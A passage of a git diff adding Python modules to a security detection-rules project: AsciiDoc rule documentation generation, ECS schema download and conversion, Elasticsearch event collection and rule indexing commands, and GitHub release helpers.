'\n'.join(f'{sub_dir}: {count}' for sub_dir, count in coverage.items()) + + worksheet.write_url(row, column, technique_url + technique_id.replace('.', '/'), cell_format=fmt, + string=technique['name'], tip=f'{technique_id}{coverage_str}') + + worksheet.autofilter(0, 0, max([len(v) for k, v in matrix.items()]) + 1, len(tactics) - 1) + + +# product rule docs +# Documentation generation of product docs https://www.elastic.co/guide/en/security/7.15/detection-engine-overview.html + + +class AsciiDoc: + + @classmethod + def bold_kv(cls, key: str, value: str): + return f'*{key}*: {value}' + + @classmethod + def description_list(cls, value: Dict[str, str], linesep='\n\n'): + return f'{linesep}'.join(f'{k}::\n{v}' for k, v in value.items()) + + @classmethod + def bulleted(cls, value: str, depth=1): + return f'{"*" * depth} {value}' + + @classmethod + def bulleted_list(cls, values: Iterable): + return '* ' + '\n* '.join(values) + + @classmethod + def code(cls, value: str, code='js'): + line_sep = "-" * 34 + return f'[source, {code}]\n{line_sep}\n{value}\n{line_sep}' + + @classmethod + def title(cls, depth: int, value: str): + return f'{"=" * depth} {value}' + + @classmethod + def inline_anchor(cls, value: str): + return f'[[{value}]]' + + @classmethod + def table(cls, data: dict) -> str: + entries = [f'| {k} | {v}' for k, v in data.items()] + table = ['[width="100%"]', '|==='] + entries + ['|==='] + return '\n'.join(table) + + +class SecurityDocs: + """Base class for security doc generation.""" + + +class KibanaSecurityDocs: + """Generate docs for prebuilt rules in Elastic documentation.""" + + @staticmethod + def cmp_value(value): + if isinstance(value, list): + cmp_new = tuple(value) + elif isinstance(value, dict): + cmp_new = json.dumps(value, sort_keys=True, indent=2) + else: + cmp_new = value + + return cmp_new + + +class IntegrationSecurityDocs: + """Generate docs for prebuilt rules in Elastic documentation.""" + + def __init__(self, registry_version: str, directory: Path, overwrite=False, + updated_rules: Optional[Dict[str, TOMLRule]] = None, new_rules: Optional[Dict[str, TOMLRule]] = None, + deprecated_rules: Optional[Dict[str, TOMLRule]] = None): + self.new_rules = new_rules + self.updated_rules = updated_rules + self.deprecated_rules = deprecated_rules + self.included_rules = list(itertools.chain(new_rules.values(), + updated_rules.values(), + deprecated_rules.values())) + + self.registry_version_str, self.base_name, self.prebuilt_rule_base = self.parse_registry(registry_version) + self.package_directory = directory / self.base_name + + if overwrite: + shutil.rmtree(self.package_directory, ignore_errors=True) + + self.package_directory.mkdir(parents=True, exist_ok=overwrite) + + @staticmethod + def parse_registry(registry_version: str) -> (str, str, str): + registry_version = Version(registry_version) + short_registry_version = [str(n) for n in registry_version[:3]] + registry_version_str = '.'.join(short_registry_version) + base_name = "-".join(short_registry_version) + prebuilt_rule_base = f'prebuilt-rule-{base_name}' + + return registry_version_str, base_name, prebuilt_rule_base + + def generate_appendix(self): + # appendix + appendix = self.package_directory / f'prebuilt-rules-{self.base_name}-appendix.asciidoc' + + appendix_header = textwrap.dedent(f""" + ["appendix",role="exclude",id="prebuilt-rule-{self.base_name}-prebuilt-rules-{self.base_name}-appendix"] + = Downloadable rule update v{self.registry_version_str} + + This section lists all updates associated with version {self.registry_version_str} of the Fleet integration *Prebuilt Security Detection Rules*. + + """).lstrip() # noqa: E501 + + include_format = f'include::{self.prebuilt_rule_base}-' + '{}.asciidoc[]' + appendix_lines = [appendix_header] + [include_format.format(name_to_title(r.name)) for r in self.included_rules] + appendix_str = '\n'.join(appendix_lines) + '\n' + appendix.write_text(appendix_str) + + def generate_summary(self): + summary = self.package_directory / f'prebuilt-rules-{self.base_name}-summary.asciidoc' + + summary_header = textwrap.dedent(f""" + [[prebuilt-rule-{self.base_name}-prebuilt-rules-{self.base_name}-summary]] + [role="xpack"] + == Update v{self.registry_version_str} + + This section lists all updates associated with version {self.registry_version_str} of the Fleet integration *Prebuilt Security Detection Rules*. + + + [width="100%",options="header"] + |============================================== + |Rule |Description |Status |Version + """).lstrip() # noqa: E501 + + rule_entries = [] + for rule in self.included_rules: + title_name = name_to_title(rule.name) + status = 'new' if rule.id in self.new_rules else 'update' if rule.id in self.updated_rules else 'deprecated' + description = rule.contents.to_api_format()['description'] + version = rule.contents.autobumped_version + rule_entries.append(f'|<> ' + f'| {description} | {status} | {version} \n') + + summary_lines = [summary_header] + rule_entries + ['|=============================================='] + summary_str = '\n'.join(summary_lines) + '\n' + summary.write_text(summary_str) + + def generate_rule_details(self): + for rule in self.included_rules: + rule_detail = IntegrationRuleDetail(rule.id, rule.contents.to_api_format(), {}, self.base_name) + rule_path = self.package_directory / f'{self.prebuilt_rule_base}-{name_to_title(rule.name)}.asciidoc' + rule_path.write_text(rule_detail.generate()) + + def generate_manual_updates(self): + update_file = self.package_directory / 'manual-updates.json' + updates = {} + + # update downloadable rule updates entry + # https://www.elastic.co/guide/en/security/current/prebuilt-rules-downloadable-updates.html + today = datetime.today().strftime('%d %b %Y') + + updates['detections/prebuilt-rules/prebuilt-rules-downloadable-updates.asciidoc'] = { + 'update_table_entry': (f'|<> | {today} | {len(self.new_rules)} | ' + f'{len(self.updated_rules)} | '), + 'update_table_include': (f'include::downloadable-packages/{self.base_name}/' + f'prebuilt-rules-{self.base_name}-summary.asciidoc[leveloffset=+1]') + } + + updates['index.asciidoc'] = { + 'update_index_include': (f'include::detections/prebuilt-rules/downloadable-packages/{self.base_name}/' + f'prebuilt-rules-{self.base_name}-appendix.asciidoc[]') + } + + update_file.write_text(json.dumps(updates, indent=2)) + + def generate(self) -> Path: + self.generate_appendix() + self.generate_summary() + self.generate_rule_details() + self.generate_manual_updates() + return self.package_directory + + +class IntegrationRuleDetail: + """Rule detail page generation.""" + + def __init__(self, rule_id: str, rule: dict, changelog: Dict[str, dict], package_str: str): + self.rule_id = rule_id + self.rule = rule + self.changelog = changelog + self.package = package_str + self.rule_title = f'prebuilt-rule-{self.package}-{name_to_title(self.rule["name"])}' + + # set some defaults + self.rule.setdefault('max_signals', 100) + self.rule.setdefault('interval', '5m') + + def generate(self) -> str: + """Generate the rule detail page.""" + page = [ + AsciiDoc.inline_anchor(self.rule_title), + AsciiDoc.title(3, self.rule['name']), + '', + self.rule['description'], + '', + self.metadata_str(), + '' + ] + if 'note' in self.rule: + page.extend([self.guide_str(), '']) + if 'query' in self.rule: + page.extend([self.query_str(), '']) + if 'threat' in self.rule: + page.extend([self.threat_mapping_str(), '']) + + return '\n'.join(page) + + def metadata_str(self) -> str: + fields = { + 'type': 'Rule type', + 'index': 'Rule indices', + 'severity': 'Severity', + 'risk_score': 'Risk score', + 'interval': 'Runs every', + 'from': 'Searches indices from', + 'max_signals': 'Maximum alerts per execution', + 'references': 'References', + 'tags': 'Tags', + 'version': 'Version', + 'author': 'Rule authors', + 'license': 'Rule license' + } + values = [] + + for field, friendly_name in fields.items(): + value = self.rule.get(field) or self.changelog.get(field) + if isinstance(value, list): + str_value = f'\n\n{AsciiDoc.bulleted_list(value)}' + else: + str_value = str(value) + + if field == 'from': + str_value += ' ({ref}/common-options.html#date-math[Date Math format], see also <>)' + + values.extend([AsciiDoc.bold_kv(friendly_name, str_value), '']) + + return '\n'.join(values) + + def guide_str(self) -> str: + return f'{AsciiDoc.title(4, "Investigation guide")}\n\n\n{AsciiDoc.code(self.rule["note"], code="markdown")}' + + def query_str(self) -> str: + # TODO: code=sql - would require updating existing + return f'{AsciiDoc.title(4, "Rule query")}\n\n\n{AsciiDoc.code(self.rule["query"])}' + + def threat_mapping_str(self) -> str: + values = [AsciiDoc.bold_kv('Framework', 'MITRE ATT&CK^TM^'), ''] + + for entry in self.rule['threat']: + tactic = entry['tactic'] + entry_values = [ + AsciiDoc.bulleted('Tactic:'), + AsciiDoc.bulleted(f'Name: {tactic["name"]}', depth=2), + AsciiDoc.bulleted(f'ID: {tactic["id"]}', depth=2), + AsciiDoc.bulleted(f'Reference URL: {tactic["reference"]}', depth=2) + ] + + techniques = entry.get('technique', []) + for technique in techniques: + entry_values.extend([ + AsciiDoc.bulleted('Technique:'), + AsciiDoc.bulleted(f'Name: {technique["name"]}', depth=2), + AsciiDoc.bulleted(f'ID: {technique["id"]}', depth=2), + AsciiDoc.bulleted(f'Reference URL: {technique["reference"]}', depth=2) + ]) + + subtechniques = technique.get('subtechnique', []) + for subtechnique in subtechniques: + entry_values.extend([ + AsciiDoc.bulleted('Sub-technique:'), + AsciiDoc.bulleted(f'Name: {subtechnique["name"]}', depth=2), + AsciiDoc.bulleted(f'ID: {subtechnique["id"]}', depth=2), + AsciiDoc.bulleted(f'Reference URL: {subtechnique["reference"]}', depth=2) + ]) + + values.extend(entry_values) + + return '\n'.join(values) + + +def name_to_title(name: str) -> str: + """Convert a rule name to tile.""" + initial = re.sub(r'[^\w]|_', r'-', name.lower().strip()) + return re.sub(r'-{2,}', '-', initial).strip('-') diff --git a/detection_rules/ecs.py b/detection_rules/ecs.py new file mode 100644 index 000000000..e03555c13 --- /dev/null +++ b/detection_rules/ecs.py @@ -0,0 +1,284 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""ECS Schemas management.""" +import copy +import glob +import os +import shutil +import json +from pathlib import Path + +import requests +import eql +import eql.types +import yaml + +from .semver import Version +from .utils import DateTimeEncoder, cached, load_etc_dump, get_etc_path, gzip_compress, read_gzip, unzip + +ETC_NAME = "ecs_schemas" +ECS_SCHEMAS_DIR = get_etc_path(ETC_NAME) + + +def add_field(schema, name, info): + """Nest a dotted field within a dictionary.""" + if "." not in name: + schema[name] = info + return + + top, remaining = name.split(".", 1) + if not isinstance(schema.get(top), dict): + schema[top] = {} + add_field(schema, remaining, info) + + +def nest_from_dot(dots, value): + """Nest a dotted field and set the inner most value.""" + fields = dots.split('.') + + if not fields: + return {} + + nested = {fields.pop(): value} + + for field in reversed(fields): + nested = {field: nested} + + return nested + + +def _recursive_merge(existing, new, depth=0): + """Return an existing dict merged into a new one.""" + for key, value in existing.items(): + if isinstance(value, dict): + if depth == 0: + new = copy.deepcopy(new) + + node = new.setdefault(key, {}) + _recursive_merge(value, node, depth + 1) + else: + new[key] = value + + return new + + +def get_schema_files(): + """Get schema files from ecs directory.""" + return glob.glob(os.path.join(ECS_SCHEMAS_DIR, '*', '*.json.gz'), recursive=True) + + +def get_schema_map(): + """Get local schema files by version.""" + schema_map = {} + + for file_name in get_schema_files(): + path, name = os.path.split(file_name) + name = name.split('.')[0] + version = os.path.basename(path) + schema_map.setdefault(version, {})[name] = file_name + + return schema_map + + +@cached +def get_schemas(): + """Get local schemas.""" + schema_map = get_schema_map() + + for version, values in schema_map.items(): + for name, file_name in values.items(): + schema_map[version][name] = json.loads(read_gzip(file_name)) + + return schema_map + + +def get_max_version(include_master=False): + """Get maximum available schema version.""" + versions = get_schema_map().keys() + + if include_master and any([v.startswith('master') for v in versions]): + return list(Path(ECS_SCHEMAS_DIR).glob('master*'))[0].name + + return str(max([Version(v) for v in versions if not v.startswith('master')])) + + +@cached +def get_schema(version=None, name='ecs_flat'): + """Get schema by version.""" + if version == 'master': + version = get_max_version(include_master=True) + + return get_schemas()[version or str(get_max_version())][name] + + +@cached +def get_eql_schema(version=None, index_patterns=None): + """Return schema in expected format for eql.""" + schema = get_schema(version, name='ecs_flat') + str_types = ('text', 'ip', 'keyword', 'date', 'object', 'geo_point') + num_types = ('float', 'integer', 'long') + schema = schema.copy() + + def convert_type(t): + return 'string' if t in str_types else 'number' if t in num_types else 'boolean' + + converted = {} + + for field, schema_info in schema.items(): + field_type = schema_info.get('type', '') + add_field(converted, field, convert_type(field_type)) + + if index_patterns: + for index_name in index_patterns: + for k, v in flatten(get_index_schema(index_name)).items(): + add_field(converted, k, convert_type(v)) + + return converted + + +def flatten(schema): + flattened = {} + for k, v in schema.items(): + if isinstance(v, dict): + flattened.update((k + "." + vk, vv) for vk, vv in flatten(v).items()) + else: + flattened[k] = v + return flattened + + +@cached +def get_non_ecs_schema(): + """Load non-ecs schema.""" + return load_etc_dump('non-ecs-schema.json') + + +@cached +def get_index_schema(index_name): + return get_non_ecs_schema().get(index_name, {}) + + +def flatten_multi_fields(schema): + converted = {} + for field, info in schema.items(): + converted[field] = info["type"] + for subfield in info.get("multi_fields", []): + converted[field + "." + subfield["name"]] = subfield["type"] + + return converted + + +class KqlSchema2Eql(eql.Schema): + type_mapping = { + "keyword": eql.types.TypeHint.String, + "ip": eql.types.TypeHint.String, + "float": eql.types.TypeHint.Numeric, + # "double": eql.types.TypeHint.Numeric, + # "long": eql.types.TypeHint.Numeric, + # "short": eql.types.TypeHint.Numeric, + "integer": eql.types.TypeHint.Numeric, + "boolean": eql.types.TypeHint.Boolean, + } + + def __init__(self, kql_schema): + self.kql_schema = kql_schema + eql.Schema.__init__(self, {}, allow_any=True, allow_generic=False, allow_missing=False) + + def validate_event_type(self, event_type): + # allow all event types to fill in X: + # `X` where .... + return True + + def get_event_type_hint(self, event_type, path): + from kql.parser import elasticsearch_type_family + + dotted = ".".join(path) + elasticsearch_type = self.kql_schema.get(dotted) + es_type_family = elasticsearch_type_family(elasticsearch_type) + eql_hint = self.type_mapping.get(es_type_family) + + if eql_hint is not None: + return eql_hint, None + + +@cached +def get_kql_schema(version=None, indexes=None, beat_schema=None) -> dict: + """Get schema for KQL.""" + indexes = indexes or () + converted = flatten_multi_fields(get_schema(version, name='ecs_flat')) + + for index_name in indexes: + converted.update(**flatten(get_index_schema(index_name))) + + if isinstance(beat_schema, dict): + converted = dict(flatten_multi_fields(beat_schema), **converted) + + return converted + + +def download_schemas(refresh_master=True, refresh_all=False, verbose=True): + """Download additional schemas from ecs releases.""" + existing = [Version(v) for v in get_schema_map()] if not refresh_all else [] + url = 'https://api.github.com/repos/elastic/ecs/releases' + releases = requests.get(url) + + for release in releases.json(): + version = Version(release.get('tag_name', '').lstrip('v')) + + # we don't ever want beta + if not version or version < (1, 0, 1) or version in existing: + continue + + schema_dir = os.path.join(ECS_SCHEMAS_DIR, str(version)) + + with unzip(requests.get(release['zipball_url']).content) as archive: + name_list = archive.namelist() + base = name_list[0] + + # members = [m for m in name_list if m.startswith('{}{}/'.format(base, 'use-cases')) and m.endswith('.yml')] + members = ['{}generated/ecs/ecs_flat.yml'.format(base), '{}generated/ecs/ecs_nested.yml'.format(base)] + saved = [] + + for member in members: + file_name = os.path.basename(member) + os.makedirs(schema_dir, exist_ok=True) + + # load as yaml, save as json + contents = yaml.safe_load(archive.read(member)) + out_file = file_name.replace(".yml", ".json.gz") + + compressed = gzip_compress(json.dumps(contents, sort_keys=True, cls=DateTimeEncoder)) + new_path = get_etc_path(ETC_NAME, str(version), out_file) + with open(new_path, 'wb') as f: + f.write(compressed) + + saved.append(out_file) + + if verbose: + print('Saved files to {}: \n\t- {}'.format(schema_dir, '\n\t- '.join(saved))) + + # handle working master separately + if refresh_master: + master_ver = requests.get('https://raw.githubusercontent.com/elastic/ecs/master/version') + master_ver = Version(master_ver.text.strip()) + master_schema = requests.get('https://raw.githubusercontent.com/elastic/ecs/master/generated/ecs/ecs_flat.yml') + master_schema = yaml.safe_load(master_schema.text) + + # prepend with underscore so that we can differentiate the fact that this is a working master version + # but first clear out any existing masters, since we only ever want 1 at a time + existing_master = glob.glob(os.path.join(ECS_SCHEMAS_DIR, 'master_*')) + for m in existing_master: + shutil.rmtree(m, ignore_errors=True) + + master_dir = "master_{}".format(master_ver) + os.makedirs(get_etc_path(ETC_NAME, master_dir), exist_ok=True) + + compressed = gzip_compress(json.dumps(master_schema, sort_keys=True, cls=DateTimeEncoder)) + new_path = get_etc_path(ETC_NAME, master_dir, "ecs_flat.json.gz") + with open(new_path, 'wb') as f: + f.write(compressed) + + if verbose: + print('Saved files to {}: \n\t- {}'.format(master_dir, 'ecs_flat.json.gz')) diff --git a/detection_rules/eswrap.py b/detection_rules/eswrap.py new file mode 100644 index 000000000..bc4ccae1f --- /dev/null +++ b/detection_rules/eswrap.py @@ -0,0 +1,401 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Elasticsearch cli commands.""" +import json +import os +import time +from collections import defaultdict +from typing import Union + +import click +import elasticsearch +from elasticsearch import Elasticsearch +from elasticsearch.client.async_search import AsyncSearchClient + +import kql +from .main import root +from .misc import add_params, client_error, elasticsearch_options, get_elasticsearch_client +from .rule import TOMLRule +from .rule_loader import rta_mappings, RuleCollection +from .utils import format_command_options, normalize_timing_and_sort, unix_time_to_formatted, get_path + + +COLLECTION_DIR = get_path('collections') +MATCH_ALL = {'bool': {'filter': [{'match_all': {}}]}} + + +def add_range_to_dsl(dsl_filter, start_time, end_time='now'): + dsl_filter.append( + {"range": {"@timestamp": {"gt": start_time, "lte": end_time, "format": "strict_date_optional_time"}}} + ) + + +class RtaEvents(object): + """Events collected from Elasticsearch.""" + + def __init__(self, events): + self.events: dict = self._normalize_event_timing(events) + + @staticmethod + def _normalize_event_timing(events): + """Normalize event timestamps and sort.""" + for agent_type, _events in events.items(): + events[agent_type] = normalize_timing_and_sort(_events) + + return events + + @staticmethod + def _get_dump_dir(rta_name=None, host_id=None): + """Prepare and get the dump path.""" + if rta_name: + dump_dir = get_path('unit_tests', 'data', 'true_positives', rta_name) + os.makedirs(dump_dir, exist_ok=True) + return dump_dir + else: + time_str = time.strftime('%Y%m%dT%H%M%SL') + dump_dir = os.path.join(COLLECTION_DIR, host_id or 'unknown_host', time_str) + os.makedirs(dump_dir, exist_ok=True) + return dump_dir + + def evaluate_against_rule_and_update_mapping(self, rule_id, rta_name, verbose=True): + """Evaluate a rule against collected events and update mapping.""" + from .utils import combine_sources, evaluate + + rule = next((rule for rule in RuleCollection.default() if rule.id == rule_id), None) + assert rule is not None, f"Unable to find rule with ID {rule_id}" + merged_events = combine_sources(*self.events.values()) + filtered = evaluate(rule, merged_events) + + if filtered: + sources = [e['agent']['type'] for e in filtered] + mapping_update = rta_mappings.add_rule_to_mapping_file(rule, len(filtered), rta_name, *sources) + + if verbose: + click.echo('Updated rule-mapping file with: \n{}'.format(json.dumps(mapping_update, indent=2))) + else: + if verbose: + click.echo('No updates to rule-mapping file; No matching results') + + def echo_events(self, pager=False, pretty=True): + """Print events to stdout.""" + echo_fn = click.echo_via_pager if pager else click.echo + echo_fn(json.dumps(self.events, indent=2 if pretty else None, sort_keys=True)) + + def save(self, rta_name=None, dump_dir=None, host_id=None): + """Save collected events.""" + assert self.events, 'Nothing to save. Run Collector.run() method first or verify logging' + + dump_dir = dump_dir or self._get_dump_dir(rta_name=rta_name, host_id=host_id) + + for source, events in self.events.items(): + path = os.path.join(dump_dir, source + '.jsonl') + with open(path, 'w') as f: + f.writelines([json.dumps(e, sort_keys=True) + '\n' for e in events]) + click.echo('{} events saved to: {}'.format(len(events), path)) + + +class CollectEvents(object): + """Event collector for elastic stack.""" + + def __init__(self, client, max_events=3000): + self.client: Elasticsearch = client + self.max_events = max_events + + def _build_timestamp_map(self, index_str): + """Build a mapping of indexes to timestamp data formats.""" + mappings = self.client.indices.get_mapping(index=index_str) + timestamp_map = {n: m['mappings'].get('properties', {}).get('@timestamp', {}) for n, m in mappings.items()} + return timestamp_map + + def _get_last_event_time(self, index_str, dsl=None): + """Get timestamp of most recent event.""" + last_event = self.client.search(dsl, index_str, size=1, sort='@timestamp:desc')['hits']['hits'] + if not last_event: + return + + last_event = last_event[0] + index = last_event['_index'] + timestamp = last_event['_source']['@timestamp'] + + timestamp_map = self._build_timestamp_map(index_str) + event_date_format = timestamp_map[index].get('format', '').split('||') + + # there are many native supported date formats and even custom data formats, but most, including beats use the + # default `strict_date_optional_time`. It would be difficult to try to account for all possible formats, so this + # will work on the default and unix time. + if set(event_date_format) & {'epoch_millis', 'epoch_second'}: + timestamp = unix_time_to_formatted(timestamp) + + return timestamp + + @staticmethod + def _prep_query(query, language, index, start_time=None, end_time=None): + """Prep a query for search.""" + index_str = ','.join(index if isinstance(index, (list, tuple)) else index.split(',')) + lucene_query = query if language == 'lucene' else None + + if language in ('kql', 'kuery'): + formatted_dsl = {'query': kql.to_dsl(query)} + elif language == 'eql': + formatted_dsl = {'query': query, 'filter': MATCH_ALL} + elif language == 'lucene': + formatted_dsl = {'query': {'bool': {'filter': []}}} + elif language == 'dsl': + formatted_dsl = {'query': query} + else: + raise ValueError('Unknown search language') + + if start_time or end_time: + end_time = end_time or 'now' + dsl = formatted_dsl['filter']['bool']['filter'] if language == 'eql' else \ + formatted_dsl['query']['bool'].setdefault('filter', []) + add_range_to_dsl(dsl, start_time, end_time) + + return index_str, formatted_dsl, lucene_query + + def search(self, query, language, index: Union[str, list] = '*', start_time=None, end_time=None, size=None, + **kwargs): + """Search an elasticsearch instance.""" + index_str, formatted_dsl, lucene_query = self._prep_query(query=query, language=language, index=index, + start_time=start_time, end_time=end_time) + formatted_dsl.update(size=size or self.max_events) + + if language == 'eql': + results = self.client.eql.search(body=formatted_dsl, index=index_str, **kwargs)['hits'] + results = results.get('events') or results.get('sequences', []) + else: + results = self.client.search(body=formatted_dsl, q=lucene_query, index=index_str, + allow_no_indices=True, ignore_unavailable=True, **kwargs)['hits']['hits'] + + return results + + def search_from_rule(self, *rules: TOMLRule, start_time=None, end_time='now', size=None): + """Search an elasticsearch instance using a rule.""" + from .misc import nested_get + + async_client = AsyncSearchClient(self.client) + survey_results = {} + + def parse_unique_field_results(rule_type, unique_fields, search_results): + parsed_results = defaultdict(lambda: defaultdict(int)) + hits = search_results['hits'] + hits = hits['hits'] if rule_type != 'eql' else hits.get('events') or hits.get('sequences', []) + for hit in hits: + for field in unique_fields: + match = nested_get(hit['_source'], field) + match = ','.join(sorted(match)) if isinstance(match, list) else match + parsed_results[field][match] += 1 + # if rule.type == eql, structure is different + return {'results': parsed_results} if parsed_results else {} + + multi_search = [] + multi_search_rules = [] + async_searches = {} + eql_searches = {} + + for rule in rules: + if not rule.query: + continue + + index_str, formatted_dsl, lucene_query = self._prep_query(query=rule.query, + language=rule.contents.get('language'), + index=rule.contents.get('index', '*'), + start_time=start_time, + end_time=end_time) + formatted_dsl.update(size=size or self.max_events) + + # prep for searches: msearch for kql | async search for lucene | eql client search for eql + if rule.contents['language'] == 'kuery': + multi_search_rules.append(rule) + multi_search.append(json.dumps( + {'index': index_str, 'allow_no_indices': 'true', 'ignore_unavailable': 'true'})) + multi_search.append(json.dumps(formatted_dsl)) + elif rule.contents['language'] == 'lucene': + # wait for 0 to try and force async with no immediate results (not guaranteed) + result = async_client.submit(body=formatted_dsl, q=rule.query, index=index_str, + allow_no_indices=True, ignore_unavailable=True, + wait_for_completion_timeout=0) + if result['is_running'] is True: + async_searches[rule] = result['id'] + else: + survey_results[rule.id] = parse_unique_field_results(rule.type, rule.unique_fields, + result['response']) + elif rule.contents['language'] == 'eql': + eql_body = { + 'index': index_str, + 'params': {'ignore_unavailable': 'true', 'allow_no_indices': 'true'}, + 'body': {'query': rule.query, 'filter': formatted_dsl['filter']} + } + eql_searches[rule] = eql_body + + # assemble search results + multi_search_results = self.client.msearch('\n'.join(multi_search) + '\n') + for index, result in enumerate(multi_search_results['responses']): + try: + rule = multi_search_rules[index] + survey_results[rule.id] = parse_unique_field_results(rule.type, rule.unique_fields, result) + except KeyError: + survey_results[multi_search_rules[index].id] = {'error_retrieving_results': True} + + for rule, search_args in eql_searches.items(): + try: + result = self.client.eql.search(**search_args) + survey_results[rule.id] = parse_unique_field_results(rule.type, rule.unique_fields, result) + except (elasticsearch.NotFoundError, elasticsearch.RequestError) as e: + survey_results[rule.id] = {'error_retrieving_results': True, 'error': e.info['error']['reason']} + + for rule, async_id in async_searches.items(): + result = async_client.get(async_id)['response'] + survey_results[rule.id] = parse_unique_field_results(rule.type, rule.unique_fields, result) + + return survey_results + + def count(self, query, language, index: Union[str, list], start_time=None, end_time='now'): + """Get a count of documents from elasticsearch.""" + index_str, formatted_dsl, lucene_query = self._prep_query(query=query, language=language, index=index, + start_time=start_time, end_time=end_time) + + # EQL API has no count endpoint + if language == 'eql': + results = self.search(query=query, language=language, index=index, start_time=start_time, end_time=end_time, + size=1000) + return len(results) + else: + return self.client.count(body=formatted_dsl, index=index_str, q=lucene_query, allow_no_indices=True, + ignore_unavailable=True)['count'] + + def count_from_rule(self, *rules, start_time=None, end_time='now'): + """Get a count of documents from elasticsearch using a rule.""" + survey_results = {} + + for rule in rules: + rule_results = {'rule_id': rule.id, 'name': rule.name} + + if not rule.query: + continue + + try: + rule_results['search_count'] = self.count(query=rule.query, language=rule.contents.get('language'), + index=rule.contents.get('index', '*'), start_time=start_time, + end_time=end_time) + except (elasticsearch.NotFoundError, elasticsearch.RequestError): + rule_results['search_count'] = -1 + + survey_results[rule.id] = rule_results + + return survey_results + + +class CollectRtaEvents(CollectEvents): + """Collect RTA events from elasticsearch.""" + + @staticmethod + def _group_events_by_type(events): + """Group events by agent.type.""" + event_by_type = {} + + for event in events: + event_by_type.setdefault(event['_source']['agent']['type'], []).append(event['_source']) + + return event_by_type + + def run(self, dsl, indexes, start_time): + """Collect the events.""" + results = self.search(dsl, language='dsl', index=indexes, start_time=start_time, end_time='now', size=5000, + sort='@timestamp:asc') + events = self._group_events_by_type(results) + return RtaEvents(events) + + +@root.command('normalize-data') +@click.argument('events-file', type=click.File('r')) +def normalize_data(events_file): + """Normalize Elasticsearch data timestamps and sort.""" + file_name = os.path.splitext(os.path.basename(events_file.name))[0] + events = RtaEvents({file_name: [json.loads(e) for e in events_file.readlines()]}) + events.save(dump_dir=os.path.dirname(events_file.name)) + + +@root.group('es') +@add_params(*elasticsearch_options) +@click.pass_context +def es_group(ctx: click.Context, **kwargs): + """Commands for integrating with Elasticsearch.""" + ctx.ensure_object(dict) + + # only initialize an es client if the subcommand is invoked without help (hacky) + if click.get_os_args()[-1] in ctx.help_option_names: + click.echo('Elasticsearch client:') + click.echo(format_command_options(ctx)) + + else: + ctx.obj['es'] = get_elasticsearch_client(ctx=ctx, **kwargs) + + +@es_group.command('collect-events') +@click.argument('host-id') +@click.option('--query', '-q', help='KQL query to scope search') +@click.option('--index', '-i', multiple=True, help='Index(es) to search against (default: all indexes)') +@click.option('--rta-name', '-r', help='Name of RTA in order to save events directly to unit tests data directory') +@click.option('--rule-id', help='Updates rule mapping in rule-mapping.yml file (requires --rta-name)') +@click.option('--view-events', is_flag=True, help='Print events after saving') +@click.pass_context +def collect_events(ctx, host_id, query, index, rta_name, rule_id, view_events): + """Collect events from Elasticsearch.""" + client: Elasticsearch = ctx.obj['es'] + dsl = kql.to_dsl(query) if query else MATCH_ALL + dsl['bool'].setdefault('filter', []).append({'bool': {'should': [{'match_phrase': {'host.id': host_id}}]}}) + + try: + collector = CollectRtaEvents(client) + start = time.time() + click.pause('Press any key once detonation is complete ...') + start_time = f'now-{round(time.time() - start) + 5}s' + events = collector.run(dsl, index or '*', start_time) + events.save(rta_name=rta_name, host_id=host_id) + + if rta_name and rule_id: + events.evaluate_against_rule_and_update_mapping(rule_id, rta_name) + + if view_events and events.events: + events.echo_events(pager=True) + + return events + except AssertionError as e: + error_msg = 'No events collected! Verify events are streaming and that the agent-hostname is correct' + client_error(error_msg, e, ctx=ctx) + + +@es_group.command('index-rules') +@click.option('--query', '-q', help='Optional KQL query to limit to specific rules') +@click.option('--from-file', '-f', type=click.File('r'), help='Load a previously saved uploadable bulk file') +@click.option('--save_files', '-s', is_flag=True, help='Optionally save the bulk request to a file') +@click.pass_context +def index_repo(ctx: click.Context, query, from_file, save_files): + """Index rules based on KQL search results to an elasticsearch instance.""" + from .main import generate_rules_index + + es_client: Elasticsearch = ctx.obj['es'] + + if from_file: + bulk_upload_docs = from_file.read() + + # light validation only + try: + index_body = [json.loads(line) for line in bulk_upload_docs.splitlines()] + click.echo(f'{len([r for r in index_body if "rule" in r])} rules included') + except json.JSONDecodeError: + client_error(f'Improperly formatted bulk request file: {from_file.name}') + else: + bulk_upload_docs, importable_rules_docs = ctx.invoke(generate_rules_index, query=query, save_files=save_files) + + es_client.bulk(bulk_upload_docs) + + +@es_group.group('experimental') +def es_experimental(): + """[Experimental] helper commands for integrating with Elasticsearch.""" + click.secho('\n* experimental commands are use at your own risk and may change without warning *\n') diff --git a/detection_rules/ghwrap.py b/detection_rules/ghwrap.py new file mode 100644 index 000000000..f6dd79a44 --- /dev/null +++ b/detection_rules/ghwrap.py @@ -0,0 +1,333 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Schemas and dataclasses for GitHub releases.""" + +import dataclasses +import hashlib +import io +import json +import shutil +import time +from dataclasses import dataclass, field +from datetime import datetime +from pathlib import Path +from typing import Dict, Optional, Tuple +from zipfile import ZipFile + +import click +import requests +from requests import Response + +from .schemas import definitions + +# this is primarily for type hinting - all use of the github client should come from GithubClient class +try: + from github import Github + from github.Repository import Repository + from github.GitRelease import GitRelease + from github.GitReleaseAsset import GitReleaseAsset +except ImportError: + # for type hinting + Github = None # noqa: N806 + Repository = None # noqa: N806 + GitRelease = None # noqa: N806 + GitReleaseAsset = None # noqa: N806 + + +def get_gh_release(repo: Repository, release_name: Optional[str] = None, tag_name: Optional[str] = None) -> GitRelease: + """Get a list of GitHub releases by repo.""" + assert release_name or tag_name, 'Must specify a release_name or tag_name' + + releases = repo.get_releases() + for release in releases: + if release_name and release_name == release.title: + return release + elif tag_name and tag_name == release.tag_name: + return release + + +def load_zipped_gh_assets_with_metadata(url: str) -> Tuple[str, dict]: + """Download and unzip a GitHub assets.""" + response = requests.get(url) + zipped_asset = ZipFile(io.BytesIO(response.content)) + zipped_sha256 = hashlib.sha256(response.content).hexdigest() + + assets = {} + for zipped in zipped_asset.filelist: + if zipped.is_dir(): + continue 